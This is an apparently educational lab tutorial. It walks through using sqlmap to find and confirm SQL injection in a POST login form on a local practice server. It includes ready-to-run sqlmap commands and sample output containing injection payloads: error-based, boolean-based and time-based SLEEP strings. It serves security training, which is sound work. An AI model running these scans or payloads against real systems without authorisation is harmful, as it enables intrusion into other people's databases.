Introduction
SQL injection is a critical web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. While many examples focus on vulnerabilities in URL parameters (GET requests), forms that submit data via POST requests are also common targets.
In this lab, you will learn how to use sqlmap, a powerful open-source penetration testing tool, to automate the process of detecting and exploiting SQL injection flaws. Specifically, you will focus on targeting a web form that uses the POST method to submit data. You will learn how to capture the POST data and provide it to sqlmap to perform a comprehensive scan.
Identify a Web Form Using the POST Method
In this step, you will start a simple web server and identify a web form that uses the HTTP POST method. POST requests are designed to send data to a server to create or update a resource, which makes them a common method for submitting login forms, comments, or any other user-generated content.
First, let's verify that our sample web application is running. We can use curl to fetch the main page.
Execute the following command in your terminal:
curl http://localhost:8000
You should see the HTML source code of a simple login page. Look for the <form> tag within the output.
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body>
<h2>Login Form</h2>
<form action="login.php" method="POST">
<label for="username">Username:</label><br />
<input type="text" id="username" name="username" /><br />
<label for="password">Password:</label><br />
<input type="password" id="password" name="password" /><br /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
Notice the attribute method="POST" inside the <form> tag. This tells the browser to send the form data using a POST request to the login.php script. Identifying this is the first step in preparing our sqlmap scan. You can also open the Firefox browser from the desktop and navigate to http://localhost:8000 to view the form visually.
Capture the POST Data String Using Browser Developer Tools
In this step, you will learn how to capture the data string sent by a POST request. sqlmap needs this data to know what parameters to test for SQL injection. The easiest way to get this information is by using your browser's built-in developer tools.
- Open the Firefox browser from the left-hand application dock in your LabEx environment.
- Navigate to
http://localhost:8000. - Press
F12or right-click on the page and select "Inspect" to open the Developer Tools. - Click on the Network tab in the Developer Tools panel.
- On the login page, enter some dummy data into the form fields. For example, use
testfor the username andtestfor the password. - Click the Login button.
- In the Network tab, you will see a new entry for
login.php. Click on it. - A new panel will open. Look for a tab named Request or Payload. Here, you will find the form data that was sent to the server. It will look like this:
username=test&password=test
This string, username=test&password=test, is exactly what we need for sqlmap. It contains the parameter names (username, password) and the values you submitted.
For the next step, let's save this data string into a file in your ~/project directory. This is not strictly necessary for using sqlmap but is good practice for keeping track of your findings.
echo 'username=test&password=test' > ~/project/post_data.txt
Use the --data Flag to Specify POST Parameters
In this step, you will construct a basic sqlmap command using the --data flag. This flag is essential for telling sqlmap to send a POST request and what data to include in the request body.
The basic syntax for a POST scan in sqlmap is:
sqlmap -u "TARGET_URL" --data="POST_DATA_STRING"
-u "TARGET_URL": Specifies the URL that processes the form data. In our case, this ishttp://localhost:8000/login.php.--data="POST_DATA_STRING": Provides the data string you captured in the previous step.
Let's run a command to see how sqlmap processes this information. We will use the data string we found earlier. This command will not perform a full scan yet; it will just help us confirm that sqlmap correctly identifies the POST parameters.
Execute the following command in your terminal:
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"
sqlmap will start and show you some initial information. It will correctly identify that the request is a POST request and will find the parameters username and password. It will then ask you if you want to test them.
[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test
Parameter: password (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
[*] ending @ ...
You can press n when asked about masking the password and then sqlmap will proceed. For this step, you can let it run or press Ctrl+C to exit after you see it identify the parameters. The key takeaway is understanding how the --data flag works.
Execute the Scan on the Target URL with POST Data
In this step, you will execute a full scan on the target. To make the process smoother and non-interactive, we will add a few more flags to our sqlmap command.
-p "username": This flag tellssqlmapto focus its testing efforts only on theusernameparameter. This can save a lot of time if you suspect a specific parameter is vulnerable.--batch: This flag automates the process by tellingsqlmapto use the default answer for all interactive questions it would normally ask. This is very useful for running unattended scans.
Now, let's combine everything into the final command. We are targeting the login.php URL, providing the POST data, specifying the username parameter for testing, and running it in batch mode.
Execute the following command in your terminal:
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch
sqlmap will now begin a comprehensive scan of the username parameter. Because our vulnerable script uses a sleep() function to simulate a database delay, sqlmap will likely use time-based blind injection techniques. This type of scan can take a few minutes, as sqlmap needs to send multiple requests and measure the response time for each to confirm the vulnerability.
You will see output similar to this as it runs:
...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
Let the scan complete. It will confirm that the username parameter is vulnerable.
Analyze the Results for a POST-based SQL Injection
In this step, you will analyze the output from sqlmap to understand the vulnerability it discovered. After the scan from the previous step completes, sqlmap will present a summary of its findings.
The final output will look something like this:
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
Let's break down this result:
- Parameter: username (POST): This confirms the vulnerability was found in the
usernameparameter of a POST request. - Type: time-based blind: This is the type of SQL injection. "Blind" means the application does not return database errors in its responses. "Time-based" means
sqlmapconfirmed the vulnerability by injecting commands that cause a time delay (e.g.,SLEEP(5)) and measuring the server's response time. - Payload: This shows the actual malicious input that
sqlmapused to confirm the vulnerability.
sqlmap also saves all session information, including logs and results, to a directory. The location is mentioned in the output, typically ~/.sqlmap/output/. You can inspect this directory to find detailed logs of the scan.
Let's list the contents of the results directory for our target:
ls -l ~/.sqlmap/output/localhost:8000
You will see files like log and session.sqlite. The log file contains a complete record of the scan, which is useful for detailed analysis and reporting.
total 24
-rw-r--r-- 1 labex labex 15589 Dec 6 15:30 log
-rw-r--r-- 1 labex labex 8192 Dec 6 15:30 session.sqlite
-rw-r--r-- 1 labex labex 0 Dec 6 15:29 target.txt
You have now successfully identified and confirmed a POST-based SQL injection vulnerability using sqlmap.
Summary
In this lab, you learned how to use sqlmap to test for SQL injection vulnerabilities in web forms that use the POST method. You successfully identified a POST form, captured the necessary data string using browser developer tools, and used the --data flag in sqlmap to specify the POST parameters. Finally, you executed a scan using the --batch and -p flags for automation and analyzed the results, confirming a time-based blind SQL injection vulnerability. This process is a fundamental skill for web application security testing.


